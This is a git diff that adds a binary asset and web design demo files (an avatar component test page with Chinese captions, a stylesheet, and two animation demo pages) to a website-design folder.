zcx$u&8BCKWaqazR_RbR8D%Ny{&#GN?8rZL|atd4l(n@*(f5snw9OKYy?lEzQDuMri=hp!Juiri*2-nSg*Xtwr{ zYYgjM2j>Bo@31w^Sf+Y%{@WCBeV5FkNSB7uB+BPASjo3Pd*(E~Zp)Scbm>D#A{H)6 zVk?(Rhbx^HNSC+=Jj!)q%Kgd#aOGdr)ft5iu(r*-rgi}Oz%YSFjm8GLM|3)r-!7%D zFDufB_PR%;sQEnJ%ni{=5en(Imn%RaD~P|TrHCV3xN zqfo%8Tq3{+ScU9Rnp+|x4V#*pvKzOA^jF`~3Fa27%~*qn>lsWQ<00+iIPV=!dt94& zI$S&pY+mK&!H#|JpgTooyf+x#C~R@{yG!@@u2=}6wkzIezB!PZbM9^W0UMMJutW`n@1DHEE2p_hY)#G=zZ)iG`<~f7sEH%BY`B= zlaGhp1Z|rnmioTi7qx@R%wYGk(8TsO?X6GSM|~4F&N&9tfIms+TM8b-fs<%p@vP4Q zd6hdu!8A&f{>kp>q>Dn&Fy)#)DZaJj#pcln(?!GJ-{=cM*`N1UiSz$F6M8V}zL+PX z4|wM6HiP|Q#~x+V(1#VL0XAW3s#8k|(G(=TiV492ZL<~NC)hJOOC-iT7ZK2fqHXIs z)Byet$}vs9XZISREUH#2yT)zsrr;aV1y?DC{!kVfe|)0osh%l~f!nQDlEOoM9(`bE z#1LzjYKqRkV@taDY7)#lIhtv254Q)cl69_hS?>i^G2%+pxeLTSZ2&j(5j#+yT3nBl zFb_TS6N9DtP5He+e}ZO>TU-=TCV~Krepy_XZRx`0>yMABL~&~cmL2|kr2h7oIb$nm zTIf8M?lj-tj_G-(eT>QfupUULv8wDb3mD9Mqm_-qY`MXviR#q7;*moIi*V=sTN;Ni ziFXcDLw%fQ02D2K(#G0;qtKO>8+YN5s$wsXBD?2cADv=hf4Q63aiqMESb~M9=1`=? z=}iv9D}cW=r)Egn3|6WUtML*mZXrG;GY|O|i9a${JkVz1y8W*3WzC0#%$y}Y2MbyK z#va_lOtyhw$P@*xHbc9gfIbY;1)(b*LexcSEyw%CTzlTjG0qezIof9e`hmo>OZSX) z0|+UWn$q5jQ{Omzcuclyj|vtuc$6&em1-Bsz2Z;V*$V;yO&{>K^xk_6p08@m@i5P) zTeg=5UqbItzcxJ|T5FV7`3#&hk1AedBo=%<#3opKjJT5FNOa*HfIE6wwg5a@=vCEz zWD8k1-c+O(E2#9t-dte0zdQ0W25=#ODU8?%7>JK`xYWNl`-Wq;Bg!6fi?axcdX0PS z4&JGv*k8JlvECZRme7-43RdII9zXttWk~3Ww@sy${0m3Lpp)w-#|ov-3}2iGx_nBAcTSrDUvS@cIB!&3WtaXw{DbhK4LY0$;Hr!j(9!KH;j5odm?JUGnGPHgF2M+EQeg zP@S!UhlPx7jlCR2=U(aLKI|NuOUvrBc9f;;Kd0HRtdlu(Gym8k5mdLG5L*yd>8gF@ zxhaRwYIVhmdAO`G)Fa7m80J8%S|z=*{C?0OvUqFSMAclLu@67HO^+puTCal3%_4f* zMGDLc4c#Ahbaq!pNBKGB2c6Q-Y95;K*3S@5m#yACg(eg1##|IwWPho{=)v*s_Eo<<~ocm9`i3`3WcR5!{CLc(Ihw;rrDs3iP{3sAE=;4~~> z1G{7Bc&Py5iloTd2)TSnXNiat@C@l}!Gakx`~kaj&%zNnjzPEpmk3Yh%Z~iKtBKg# zI;k;6E^(riD}>LRnM?E=E?@|?9KRXUl>!s?Sg$_prX610M6-2I_J?E6M>B*%N5$;a zIPb9wOZ~p){9uU{GPS}j&D_kk77FWt<14;Xq5+E|Uot<+s|%OC;9gT)-s)~As9fBr0&i;#MnEtnTF_S5K-QYfxT&Tu5 zC9khIS2K8HK)Y}mzk)fkCX1NZS|$6T`u9 z;9a13fHAJAJl-*;^|e{&Pm3GvG(eh*HsdEfYg?i&uzguOnYJe;3W)t#bAtT!%@geHZPzR*wfGX&He ze2p99j{!sW!9}hoTtSv^jOkxr4uHzW{ih?@L>3k7mbm2FNSeK&OOO$1kQHYn>%BJd z;7~_`AzFILwc)(;%7{M44=l25>S zov5q4JBQGo_>GS}Inv%}q1XQ5?D6x|SRpfN%S9>xP5KzJ5>j#a>tV3xr2jP9d=*^6 zS`li6IdV>$It?Ip>n$+4B~%f3n&xxcP^c~G*sOPc^;vJGglv&GRt2`+P9ouKYNXBy zq>2%pfN)Oh8L?riLtt%+eHiog*L6nk(+V2A1S{6^Pne(3GkS1npEV@qJf^}ozoyOh z+xv-DB**VcUJ0F#zaM0?Utd3HncoWMBEtUm8ptxr@_+Dvt99J)(=*MMH$7I};h#(w zmfproiEyQK6jYkKU+T#s@>Y!+)9@-E_+xwjAAf^<9zPb_J60qKj75ADY}c_|x1CB#TOywyEd#w73Xg6v}m zX6Y4jC41~!^mkoU!OLNry>h2?za_bGFhlmPU#y^EHiXoUbmeRrC{TB{>`1D4+Q}F| zgi2s2`_9Fg?e7F_V|FNxK51MX(_F_)X&vh8_hc~Xe1x6SBbr+JdgEeVZeU0SHq-r=a!8tFJ0owC8D8IlwAHuI)8*533h4SS_IaTE9mr ziJh^X0*88-cfYRF4n_i4rZLUhp(2YAMd6_(<}$AynOrc zK(v%OuuwbJ|Kf>v_It{sr{#r9sV421jso{vgkvI=OMz<3)SwHn)a2&+&mbi3~}#{q<83t2)M8~yD4O=xTfOt0T?{zy)Tbc!d_bk`Jh0CmoF)Hw$Gr1zJN4?2X; zVdUN~Yhb$o_$<*1xN}2)-B!|XTm>!tHdQo!2sy`#Ky|i_k{EIa6#ld=d%#!JF?9WD zGNyCnoXGEc@UjJY6j9p8e6*9t^7Fm}cv0ZC$9G#ZEPc z^hRAiX0v4WaK$9tnf{l2Wm5;O8lH8=i zc!jiNWq@Gy1m*yETeM|#<&FF*==Fd{mDvA7=1g3|MZWKJKRdmTpO{tznW7fPk&y;f zyJc3f<_C^vAXv;#Q@&_l>Rk&4F^A-Nmf^y5qf4^iP$Ee8ucUO9UHwq#wlZz!XnYj?ab=Ql2%^q z59DHQ!|yH-?MS7}ndVMc%`@31sF{to9T^BkT)7H845t?A{^NfTiLx$fadCSElZ9nh z=9`{1b&>-Snn%smHhR_i^V7~$&KZ~@a&Kjc84$J!1r?sjZPAZYV*Aln1B?|&c}Rb- z;Y(}{=cPuUXg`wdt)2=~dexi+X2|T{dROVIlYV`ChihMnHT|^s8QQbnMz&|#w&Dhc zz#VjnxbIdQCrnjn>Dx`s;gcf&>9!@<&k=kyir5Y(U-NS`i)bIrnaMEI3*qp7Q!THZ zsiL`OJyyLBG+q)oK}&8Hhal4{4NMC3evCMEt72){c1jO6^zsL)JFZEaOnR;w+_(jms%%5jEBkSvp()Vr;PMZF1;wMY zn6Gz12?^rrKMT7mvosH)MugYlCZ0DN zgcj-C%-w*Ni2B>bXM#UqMtk=)1#UcFt7Jz$%ekd1c&Q*kI=nDQto3p`@s%t~g(ec& zi$ctw*QblC>J$RA#ovP6SUc8dAtT0be4a(5y4PB9iTzJorC`{6p$$If9Qtu?QkFQc zyS$%Atzs0b(sr=Dh`V#_f+lDP@5kCepP#SwA3MOrRpxH{8*L zX%xDnTD@s`;@-ja(crW$lRLSP&PojrfhsZa+U}h=3oM)q+ZP=TY-kltLC2BaZ}p`6 z`U$k2(e3MtZ`}7h#X?kNfR2CRhA%qVzr;C^UD+GuvN|UAM>OUJsv2B%{jG;MZwJ_H z>btZB%95sF@bU*tkHl6{?4G1Q#D~4DBh> zt1;~;>ei$gm>O;oo~ zcl84`FX*$Kk20?XANO%6*Lg$rbN>kX2OG0L-a_{8Gw8s@&23;B21~K9q5XfbQ&X^O zOyquTKLA>NdG}pF!M9Sml9?SPg&KYAy@i)oEj*&@w^|K=5CXGd=DC54H1=JA3VzDJ z>Z7EAHc=MgVd=1g_M0!2fjzot%f?rV&ZR_ip|G#~<2rwB+M?^8n6DKaXmI>=) z+CinTCzY<4hi#*S&dclussr{;R;KQEUsGP09{l0?jO@qqh5RSKT`pa_r7%=hVrd?5 zi85dRYv!Tx%|weYq9X#!uGRw*;GYq*dc1ogVySF1t(?wylth8^4Zk|7YCK0Vt~ zKxFaZ*6;;PA>*%}mdbX3O0`3x=2! zWhh(9(ZkJ4=V`Eorn$KXVRUsglDu{X-8Dfp4y)xtKC^A*0I?HHo(EeCnjevc`Ljtod1`a=``(z5 zikCum1HT0cLz6v`>m<~7zdP)J)|xhO|<~Ke|-;3UHq1=9mRB>Gz z&?L)u(-BC+s?MQwerJ27+nfM$Ss1ISs#NSuhQ8J~E72uhDW5_5ZLGPrENbm3GDQl{ zKBo7G9}gTt^O&!n!l zO4O&}4FSgAKc;JWE8za`?K^y(7oA%*F-Q*49oJ}A`B#br+Eqg{o6s|Hy&5te|H%Ca z%*s}x9)uqW)aAi}Cjxmu&F%RUCz!aG-}|W}9(6k(RScr`TAc&nP+rw6z3BS8_K2I_ zz+YOYz#tN2+mXU2^3fJJITT!!V`ES3=a3kr;+ZrEZO*6UoIrQy!=yyE^%u~egM=Pd z`M#zIb86cMP9yXMo60@Z1ZSqYo3Dn9yDuj@gi1E&_*hTMXx}mbrA9b*Imq`)a$RH^&O5|4?|!1lNz&w84`GZe>iyefl+XAuY)F`r}AeP05A`cu7 zo?iFSh?q#0s-?e`-e?&psZmMFK%M1)tjNG zzmj0eK*M2w>1#){5OQi!>!DSFg!aY|h#z${0G=ym6 z1}Kd}2|hko(gp>E|3m>Fh?pwckbOuNdU#aNANzw_m9ufcTBi%}^PP9=pnX9A8!Z&HF>XpunWwL)nxdolZRr5>4Y!&M;Lrm40dW_`BkF z5;6C!FKkysB@U`-3RUH08OA|pp|}n@UxnkicrzOw-7jQLx4`;Vy>%}JW$$J~1VCeD zxUAr~8%}}Fju4jaNOJ+axEY^-9-5u_IPf$}{lLC#^x7wrEHzru4@U(r`ogsW^$VVZ zDL}-q%wZHGodKn9Ze!g6}88SOeI3yRNT2m-j(4^zx*b&XADLerqXIV3#we+?XI5LN=Q7&&bK}2_2(ocAhDQC?f{krs%#Ya z_xCwHy`Eo~9%K<^JgsTQzKQ12%U6!!;khY$!&rsJx~}GK?K*`WZ9$pNovwDxv^1~- zxEN5W7}Z8NhAYXheP<`>#Ok^uP7~uINuq2?^}rGjeYn?ve5M~ScKkd>w}VUqJr)V z+yg+A{s6xgU^qWhYsA(B#nr#=tx0IQlp$J$ZDLz$>BeEnmrmZ@u1wCS=(6bp1FR@o zF|}R2X=b{L`u8h$vLxBkaA)YI~r^Skf#L7&tTx)m$6 zJV6wU2J-4-g0;Uskd}V@{>b`a)AC;P;qvEc8+q@NiQfU_TToQLH)QN7wPAWtwE9Cc zS&^Bx!{Pk?O)o-nzU@{{5b}wIXLxAui)=qmmKD|Tkj$bP^V&5Mi1FJU!js@_TN4=q z-5H&%WYW26|09a+{ko&)3;HX{fetY8yfsKt@mRpRczuUB72IFe)An`!U4eIAdiC)N-YI{#*ryFm4uZ9Js(I;lUvREdFj0;e2;#o0>x?g}lE8;l`?8 z|Ix5VCw0MDRrK+Q|LX^zo{bBF2g^JJvn6P*U=kWO27@U)K4B0Z_yR^TgLH+fy&pOG zh#KJQvf*fGTX>3(8nGdKCOx`Q+=HLg+45eOrd%}CQNT&;)XxQQqkCE(spSQ4F3bUk zM|8G)lC2S*++byBctZ#`8h;a&-QM%gt@jh=KG9hPc`CI+v*w)x+}KKl2zdnZ8D`_| z#hbJix4@Fn5yeLGcT5beDqyvvT}aMj7>gTHdtIE;roEk2?*m^GMC+S` z^Toa{eh$59Z0vQN6nyb6P5ek0hx|L5))jd+5~FdBeu4d*rVZeQFE}r2S1?xHU7mP> zJ?%RTr+}(X)r=d+vsT=mgNaOJ2sKMPV!tZ)Ifr|hP z7d^qq62U3RzaX4~7@BQE{WvxNBNv2UbJ;T}a_V~}CSb%Yej;jO4iOfUa*n1uDLfRk6aDf%MOS1a{FOT-^0Ek#yA!JU76&+QD|SLLd) z8~Bm}^C@88BQ`O<#Lhim5OR%M#QVst$r&Dyq=8qd)dz_eh>fzwth+@p>zik&C`|^n z*og}_*8^J?^-$1Z~3xK>G|8z`eOr_GQz{Jd6>a^d;q}_ye(~C7g!q?sv6NYJ%e7jaj<*-c^46W z%UwP$p(uDrMu`=~OwEYjrgMk#~b;@#R+1*BC+vV=)<86By`FR=XTGHNN? zz&TkZI)7|)YQB8j!_OH}{?weq*18>Lq`+}p+MP9@IyJ`ZFT#vtiSfTIYBp%P{cc$t zEI9_?xCqgWdt`t_YdxJ_5JWrsoXk&OcLlev%A(pH>M06Un)NEYHZb!^upq$pC5D22 zrVMBVj*j^f_CuHuP~)fIJ>8$9Umlx?gy(E&?e)<06_3##Hf-0j>n{+!SWW|U{Al!k zJ_8K)C_t#qX3~8ibUjAiIR<46lan^^q(Dyli{|?oT*kk|e&mZ)W2co>A?K{>y|0<8 z#iuDRrEK%7?RtwN*)c$f1FDTHsEOv2m{cjxF!Xs5XncDAfLLC2TmqCCFvMM4&X?Hz zIfMsPQi~sZ=&DJz`^?X9A>VXJxNl{9S2|_=Hlq>H>@x&E3cDV^oKNn06slnvNEg&@ z@ow=M1HNSSGm3F*)tl`v2~=qWow3O6T`&M`tvsdVz*`{dN}!ng8p1Klk&C&2n}LkD zZKxkpfv(jf)ViT%k;~`}KuAf3Ga985&GJ9m`|@zA*Z$om+9Z`BL!?X@qMa#`6xrr^ zDr2u9QxZZE8rVwqGD~F0JcP=e7EMxy%wd@lGDL=L9?$*l-M_!ixvq1r>zvDx5O`nBT0s^d(8{8X~K-rVGti!WYurv`Oe z&QFZbI~+ezqqkUqY79Ig)k}I*Tee6mA-tTBJm1Ep^F04tkzM1#`I}LmZ8vq4@?VbQlF1!qt`ic^{VCOljz)D_f9Jhsfvu?re7cLO#5X^msCXQOa_fU?oUb;q`> z8L&jUJMx3$7xZ9KPphz{LR_K!Pp)I!OIfkBJA3C9c*v*8LgN6B!r-(2VRHW)At zmT5DWSH$zJ{bV;Ba+rxZitJmSj{6)egD?OHX zWzWiS_{heTn6YU%y#H+cQMc_{UG9ukl7a8Z#jBGN&e5I)8O46p&C|P^MD@H>e9p_y zQ#%|HwiFC>94xK}%AmP6*Eh!2zN65ZdOV>$U^dTre;3_TXXzhL3yXxP4(GM@xuT=rV z&wB{HWzoO=Q?GS@QbGwi^=rh!cx6~$xZ2vi#>6xEj8^`|4(C)qXa(&0lW{P!LcsE1 zdSXPwb&85}IlHZAT&hqdh3W*Y|@65K*Q9nC%W0uuFv&;BNW}%n!Cz`5hW0xd$ z{n~Ui25ki>stqshx}@-sRkF1to+)Xff~)e~TgqC~C|XYLB6NU$un;qZ7^Ku;nXe0NJ~4E71*>SA zB%j%;q%V?P`W-=Y*Ol^xSTaK+aZa|XC_jp|y6^Z6U`DyqYXeo`&a&L^3NhHr`t}=Z z%Wodl8mJlJ@p|x_J+PT0BI_47Q}_lmHK~mwX+HWeojDM8ISN33Hkkxd8Pk+Z#H+BG zn%hkgQt~@8A)U$C!TdZm#WTj}+eTW4wC~Eb=v5Z;YvFnUR<}4OU&m}L>_247%C}=! zVldSB$q})Q`Rn8FM#tKAi_;`4J4CjXHtV;c7?D3#KEyE0;c>C(;4p{Mxpe~#y<>H~ z)2X|gQj1>s#sD~WWRuhBA`*;ei0lC|9@63b`B9}jv+@=T>C8<1s21&pJ&hi51-&U$ zQR4GfEJx2L&kLW~K)QM}&F|fE(ReSGqq%yA)3>>ZqTAJ4VnVfs+BII5n%5k~MsMfb zWoEtf`SA@xnZlDMbfLX)+}g)9oFbUhD=B}Ij(XDHc8l|^x1nmzvV|zSYISRQX|-}F z&H^pXDJ!PT%i8kmHfypLOe)}M8#m}aepXt`y7`5_AxX}s8MyhDAJAXzoX%YSH08ZQ@2{YfdV zTMEwr5aHcUn@+h+8KKaqy&7L~*ea5JsToszlwXcj5=QQRkZ{3w3!)863~GOYsb@wO>6lFToVaO!eUTF14xNbNOw8 zcNZI{Z1ET~p`V+wu5=L*Z_|g(o45d&ICHM(6=SW%Sa+O-IQ~X z0)RplhoUV&egTptC_~J_?1#AYqso1SUv?p4`;}6GN47)$f@jD-A%OkFmCJhi5a1M)e~$||igaE_cv_9&1N4Fi zxsOE{5;fpyKm8`#b04b81J_Ni_`MWtJB*ZF-&aFI1&dPs$}@QJuQm!(qc-~BYXHGD z9J9rX@iW89Z3I-^Ub2rDhW!(d!Mw17OXQW?7|+1URfQ39v9X@=!jhqk_$%ztwqR}u zKNHFm#UPYim4NTS_>Dhq{ip9o5H(Q;dzMo3p(Im1LitF@u<#7x@)0G_=^fEd(q7N*wrqVEU9LkRW&Y;O z@iBBgpz&M*qBs+&hj=Lo;nrEc$MEL537rhekukhK{0o7Q@B)G`fk+opXW6P~TET1; z$qum@8LEHOs`(?bAW$=ou+NmTkjsZD6jn4H!|h->$}7~OF#5p^RH9Whdo804cC50R zRRG*Ek)X|2UVV?nfDcWKAY>(KU(?{bF! zn!nuj>16W>_=6gB4AUpA{0@r&0Nzhp0{@a*o*kCOX}vrFl2J9xgyH#;bi&1gFOryr zzy;$jCRcVQKN$ir2MPP_wbHZG}4(3_|59WXNnojZ*M^6;M+_Y&Hzh<=1 z3CX6nCM_$JZ0f+nxo!;YlZ@J!b125|5>p5NrGX&A_X~-Sf4A??cxhKF%x;Ury*+Kk zsd&jlgb}hxM(j0UOimlSj=f5@c=Xa@Aa@+9b)QMBTy}6s6ll{&wo}nn)5+$Qg!tuD zZbGXu$>HH);XTF|seo732Y`Ubuz`It0XJLhqK6`;8L#H>Fn<(K(K6}SyigY!!HI2L zDiy+VYip)KI!MSktc8CuAr>N~t(Jx&=y`48&w?eGIe6ap)5H+ceY%oe_O9rK9;^ zDjV|P0S^z~&aqLOWbVG+6{{N4R_znY{*r=(n$>t@2=5hbU{bUvqz74vjnT#y4x2eg z2SoEtD?IZU!e@2{U&r7dkjx4SZ@6BHl$8Kb$f~ibnuWieRW0v|ffF&hQRBo!kMfHM zkgGjU%(TF#dEm>RF1X}S1z5FJG1~r zYhAFyW?tyPF}aED_#xB|9lUOp%5$~*3a00gl|WB#Oq3%Oj?b(QuvX2?V!%;xMDO$s zmjSf&`V@YzZux zejIefe0B-@WRCPCoRbU1j)o9vU^sTEEe}hX*v+)vu3MlaQDM$hf+CRS) zfyxBrg^Z(lv5^0wKF7VgJh;)ClTl<5^ALu&s3dP<` zk$3w)B|O+qj7(P+$(TtsJ)ZO!E-A0zDRo%9?%}ZlE%lG}gzKu{D98;u$tV#T zArG7v7Zv>pLdb5>{TxFgWHZnlFg5HP@xee2&vY3Xu}hwivLJJ_t$6q56 z*ddk4JbzNijtWa}qxpcd^1=Qeg`senFo5_ArjP?)^s&~MoW)5PqXKsx2gKHXl)wu> zPrU2j09&;075kRwtT5w$2BP<1sFgAH23iu0%J0bDyj`xAK#mB?e`Lypm-+{<><4)Y z;2t_?-AGFfQAjTjo~V!bg&TgmEYotK1KTi;sTgL10A-a`mBEMVf*0S(;eG02w7v`z z#?1JnUkx&nt@J1~9oZ&rw^m7FBorqEa{PF9!k1Ri36P-fMvnVjTgrZNYRDZP27K!S z7l*WM)!88|`8_|UYk1XcB@sZf1PY3ff7KO$>}x^c4|Z#3nWQdvUevqu#k$7&-c$xp zdlIl{LlMV|8o$iT`j%2yiLeINLE~@MrUazyE7(5tIiUi`B0n4E<=|@^jee-xqML74 zK5?Re72pNC?-o`Dq>ryr!?e~)_=sOF_aBa-p7}2<0Hd5H=12y~kAFkkh21ED1;Xd& zlJz{QCLy-r6*U=O_kTDJ z>oK6Ba(-*lfAIuibz-2P8f7Ig1?j*pmDF=K{x9vXof2BSy7+pu`Qy^qN52X=K!R*_ zDBlQ>t}4G1Kl{~y`FK0;_@7aXqEF-8k^gVfT;5AgrL#kEBBRIliXK06{L^0Fh8w>B zAk?3s*2Q}_K>4tZSaQAlDdCPP z2L(9B1nyEG%m$ns%p{oNV9QHXbG-2>y4b{}t8{OF7gGF?E>U1+03#tyaTVgb5sKvk zF#U5>e`;Bkc=*+z;*@|Q5uL%lb|0=)VkCSYR8!5;yv6)C)@YRuNL_w*!u3!}Y+0Ff zWFN!)uu*2lwt1XhM-8=#GNZ!FWxB#@AJwqOrIdHxp^Xg#Dd+G*0f%<+ zv5g714>l1~13lV@L|yhjUD)t%JFSmRFKimv55ylc&Og-!YljHFIxGq4`e5^9ci~9C zwQ?wX8pl5cd;U!-+Wi7LDjpTbuSn-_%9DLMNWB%F>}h*{xq_XcHY`(l{_6QMY18sx z@bhc|Y4hZZ11QQ|`b(-0@%>YGXXy-J3je`dGX?y;M}svaj)l!1)v2+uI2E=X{-HJR zuh((NS6Z(c-L)BvDACt_BxWmQ^psVs5Nuh1t9~dM-#rYyf4>~ATHjW`cj5Q0jkgId zb%5kk2#UhKj?^T~jw|55{BF|(!2|&_PD9{ifiOUn!|n*Xh7d1K^A#r*Z+x9Kd4WkE z3WCQWZo+dzbzFlTY&9g#lis7RH++3IQB&8DCRef@8k*NwtC*T2O!^LWp&v4Vrp^G< zY-ECm0=nM_pC+R9z)}HqXAN|_!=ZXg8!hU`hzbx{jK(rE$1~3nOk?HE z3c;(O*kSz1F7LMn1plr&j7}H#oSHs^WQ?9+4P(BpN2rsUy0FMzr7ry&`1BS)TvRm) z$srYs+1`FjBF}@D;+TSn3&QZ7gd2Equ+oV84&LzDHN?$-y}O4p##@z-I7%=xDIT(3 z8=G~3h*{kL$#HPUEMI;tT_*~*3-;ieFLXeLg}%VTr5_l#)5t`3=@hCs_|APz+j}6s z-)LJ+D5qhE%4UsMbmzV#wJ1y`M(We0^o%NAaYvq=MN#5V+T&J7u)YwY(N4`Hs0M4bFlTNC9Vcgt5tadmsHVDFFn%{^;13{q8wKaEsm63yti*Ao z4|EI^2R=UX)dN9KK`*1wtegIgj^WhGXet_z1;XU_{VXboidzI0&zYL^pKm|FL zJLx&HGFnkTfB^X&#K&<^!*n_2?LKqljbKN0Yy&V-^!87q7AVe8nopy1{8A5tx7ecj z%tozJ_-Kg4fggU(Y!*XjiZ~(M+h&6^)6VYJkn&X}^wSMwUsIxdY|y#Q11rW>gkd^tRHTogV3>K@RWKFIC&B>VD@he)PTBwvFNM zM*SxpcU8x3586}lKv|)aUT@)X`TDlWvV%%8YWywDg38$+Vw#1X&g(OKP8Wa(-Lf`y z)AKW`>Vo|>JfK#As6N?8CKOEcqVg!SqL)DanrKOX@a+p+3feCU8t3;wPnUf@{Y#Cx zSFf%5Ci2z(V-{xNstNmLpFAqjj<5h&;3z9Tqf46u(W*t9Ta=0FG4fnQ0>MBbi^?WE z?npnA-XrNfXK#C0@Fw)$dK22=Ka-Chzd))HI9NTZOZ`bvMy7bw+7rTziU*_MKc0r- z+T(EBmgWMXf)iJISj|qOHbf5`|KfH_GdehgmRyTgV1eBEW_FToU+j_R;1Twh{|Qpu z;qg)!G&d~C2{SLo=>$NDT-*x!wYY;y_;7kE-;V*2S^X>3fh$-pA*g$ zn^NMUi4RqD+7ANLc*tJC8ic7H7*Fl%t7yB-`}e@y@M?{(=fstS`=l3XFIrvQ*EWCZ zd{c<9;XxE6yffzft8{K)Gv<6I*gYQtU+zDw8H&tKVmS|RN}-ir_hG$gB$i=OVX_$G0w;pW zL3`=&E_t|cv|qB)Z}PXQf=hI2e9-ovehI@i88 z(`*lY5$R83QSZ7cz`JK`lqmvDy{{kU|9PQJPy~5Gi6vCJhW1cqIQdUK5b)cN(1`ZG z&kXKw06D212Px}H#Dg6KL7iOo0}U&2Ey1@i6E5#4pO2<4G^$Yt-w3-eY*=R<*DKkBpnYFZAGB_GHbE~`x^bs{7VgSx<;o#fg@Lj zNp449^t0*7-G$0jBzfDvm0ne91>WAcHaGg5HQ}V3Uylz{M9`G1Okmc{{&IIa>{8q_ zkmuGT#WAOf&bbHOCF;TlIFBy_3to=rfGYR|g+mbi`lin+(9F*w$O1K-UY#dvw-Y9c z{7kHK1FyyaLCx%j7cRWcJx$j44<>c$Fe=WIXFs4al6Zc(ORQQvQj2N84+sULXa?(r zDnH-FAAt0jb7AB5Hwd0lggxG>$CySVd9g3IbPz2}vHKk9a!;9V?-S%>VW+O+TmF*Q z=|i`Tq?zxPgCa2QZ^$~T#t(?usNDRKguywQE}ZO-2J~D;EhkxV(NMIcDSdkKw5>tF zP;Iojf4i88UY$6v;%qaq0ydUVWK-ywg$$Ys9A{C{C@~WL?Ey555|-^H<^(bFpLEh* zL7dwTR|gVVMtz^kZMA`M>;s+1_vX8Dsl#Q|J-wk^g*=dMc_rcQ&OJF(x&Wlm{n&G_ z-1{vX3RQ1HK1}Ww5*T_P@*=6%m@vZ(kw259mvmrN6dCPDhsEx`pXt3>qtJ&6PkKtO zOw=P-w`b{E;}Fu8q991U6S+Uvv^1a0EL3@H9P`Xa9f|&4!_&&Fq)!o&J|we1T3gwx zUvFUwX{1{n0mZaZYV6UjIb)ysgqRa5Qi$7Wh#YUagFmB-^63cv{72TA(#1tn$Iz@5 z%OZOWB2EWMaRL@=&)|_8hdBSLqTi8Lz>uv=F|o*8xm~mHj|kdh>qp#I6;l>op&Y`h z3vxoWg3`ItkheC72U@JR8J1p(mVMpEa{K7Idgh0OZ%sH8!(WiDV3)qIQ_u=YkQD*lGeo2bsRxu@E)BlGGe z*Og@C2?8gK!8!W4-AC!p-O~gawW<=9O$eTi zC^m9DYjGAffp7JDc01F!eDA^CMznOOJ!HJ+MqxhW26Oe7@_#`zt%XVBGAcI1tz480#3A8NAi_{6hxeeD0OcqPLy5321qC&50b6jt0*{?J$KBTN?my z{oJy;4t9rd>?(2Ty_xoUU>gn!LLHeB6z5%Yp@aE@p=Vfn}$C$0Lcmx(2M(2(2WrvIKem%2oPwM!ju> zraNT8)6$rvfv?s>o(x<`PC*(NL0J8)2w{f2F25X zSF1}i?;tUjex_}n%IIf&lmRkvbZR#2Qk-mQ^!dMhy2W;<=;ow25dG)>yNmcZ!a3)* zY@wbe?iBpr*bM%!T1Rkp@%4Xk5#WFR=6{y&KYQrE-y`%thxflZND*G}C^UbJ0NW<; zIe5YU;_&Jre}2dH13>D{H8eEbwnZGgLVWv>Ip2D%%rJMibOZp83J2o6i@zq)DqhDisw6IMef#MgqGmIO;3B5U#a7fkzW4OT+1rIn~K-bsL9Y+-h5BwRs4=Qu6c=5 znpszER@wTAm*Lk894`BFu^w-Z-QH~s4qt3+?E8{X)|NoK98#nRhHaEAunY&XXLY*AIxI+w3-@y`DM$Nn|5 literal 0 HcmV?d00001 diff --git a/website-design/avatar-demo/index.html b/website-design/avatar-demo/index.html new file mode 100644 index 00000000..3a646f74 --- /dev/null +++ b/website-design/avatar-demo/index.html @@ -0,0 +1,76 @@ + + + + + + Astrion 形象组件 · 验收 + + + + +

+

形象组件验收

+

参数 1:1 还原产品 StatusAvatar.vue:viewBox 200 · 外框 12 · 眼睛 10 · currentColor。移动鼠标看追踪,等几秒看眨眼。

+
+ +
+
+
+
+ idle · 活 + 随机眨眼(2.2–4.8s)· 眼睛追踪鼠标方向 +
+
+
+
+
+ think + 三个波浪圆点(产品思考态原样) +
+
+
+ +
+
+
+
+ 深色底 + 颜色 = currentColor,跟随文字色,不需要任何适配代码 +
+
+
+
+
+ think + 同一组件,零改动 +
+
+
+ +
+

尺寸序列

+
+
16
+
24
+
32
+
48
+
64
+
96
+
+
+ + + + + diff --git a/website-design/avatar-demo/style.css b/website-design/avatar-demo/style.css new file mode 100644 index 00000000..ce94f6e1 --- /dev/null +++ b/website-design/avatar-demo/style.css @@ -0,0 +1,106 @@ +/* 形象验收 demo —— 刻意无装饰,只验证组件本身 */ + +* { margin: 0; padding: 0; box-sizing: border-box; } + +body { + font-family: -apple-system, "PingFang SC", "Noto Sans SC", sans-serif; + background: #faf9f5; + color: #1f1c17; +} + +.page-head { + max-width: 760px; + margin: 0 auto; + padding: 48px 24px 8px; +} + +.page-head h1 { + font-size: 20px; + font-weight: 600; + margin-bottom: 8px; +} + +.page-head p { + font-size: 13px; + line-height: 1.8; + color: #6b655a; +} + +.panel { + max-width: 760px; + margin: 24px auto; + padding: 40px 24px; + border-radius: 12px; +} + +.panel--light { + background: #ffffff; + border: 1px solid #e8e2d5; + color: #1f1c17; +} + +.panel--dark { + background: #14161b; + color: #e8e6e1; +} + +.panel h2 { + font-size: 13px; + font-weight: 600; + color: inherit; + opacity: 0.5; + margin-bottom: 20px; +} + +.live-row { + display: flex; + align-items: center; + gap: 32px; +} + +.live-row + .live-row { + margin-top: 32px; + padding-top: 32px; + border-top: 1px solid currentColor; +} + +.live-avatar { + flex-shrink: 0; + width: 160px; + height: 160px; +} + +.live-note { + display: flex; + flex-direction: column; + gap: 6px; +} + +.live-note strong { + font-size: 15px; + font-weight: 600; +} + +.live-note span { + font-size: 13px; + opacity: 0.55; +} + +.size-row { + display: flex; + align-items: flex-end; + gap: 40px; +} + +.size-cell { + display: flex; + flex-direction: column; + align-items: center; + gap: 10px; +} + +.size-cell span { + font-size: 11px; + font-family: ui-monospace, monospace; + opacity: 0.45; +} diff --git a/website-design/exp/anim-demo.html b/website-design/exp/anim-demo.html new file mode 100644 index 00000000..88e50a73 --- /dev/null +++ b/website-design/exp/anim-demo.html @@ -0,0 +1,20 @@ + + + + + +运行模式动画 demo + + + + + +
+

点击顶部标签切换模式;再次点击当前标签重播。

+
+
+ + + + + diff --git a/website-design/exp/anim2-demo.html b/website-design/exp/anim2-demo.html new file mode 100644 index 00000000..0d2acde2 --- /dev/null +++ b/website-design/exp/anim2-demo.html @@ -0,0 +1,49 @@ + + + + + +沙箱与网络授权动画 demo + + + + + + +
+

自动无限循环播放:每轮随机 20 条(15 短 + 5 长),弹道随机。

+
+
